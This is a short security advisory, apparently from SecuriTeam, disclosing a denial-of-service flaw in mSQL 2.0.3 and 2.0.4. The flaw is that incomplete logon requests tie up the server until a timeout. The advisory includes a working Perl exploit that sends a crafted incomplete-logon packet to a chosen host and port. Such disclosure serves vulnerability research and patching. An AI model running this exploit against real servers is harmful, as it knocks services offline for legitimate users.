SecuriTeam - mSQL Denial of Service.

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mSQL 2.0.4 and 2.0.3 was found to be susecptable to a Denial of Service, where by not sendning a username or password when you initaite the logon sequence, the server waits until a timeout (5 min), making it possible to overload the server, making it unable to receive any other legit users.

Credit:
mSQL's home page is: http://www.Hughes.com.au/.

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By sending incomplete logon requests to a mSQL server, a malicious user can cause the server to stop responding to legit requests.

The exploit source code in perl follows:

------------------------- CUT HERE --------------------------

#!/usr/bin/perl
use IO::Socket;
$host = @ARGV[0];
$port = @ARGV[1];

&Connect;

sub Connect {
$sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $host,
PeerPort => "msql($port)",
) or die "Cannot connect !";
$sock->autoflush(1);
print $sock "\x05\x00\x00\x00\x00\x0A\x03\x31\x3A\x0A";
while (<$sock>) {
print;
}
printf "Y0!-y0-Y0!\n";
}
------------------------------ END ---------------------------

The vulnerability was found by: Peter Boutzev.

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